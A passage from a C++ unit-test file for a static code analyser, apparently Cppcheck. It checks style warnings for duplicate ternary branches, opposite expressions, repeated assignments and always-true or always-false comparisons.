[duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) 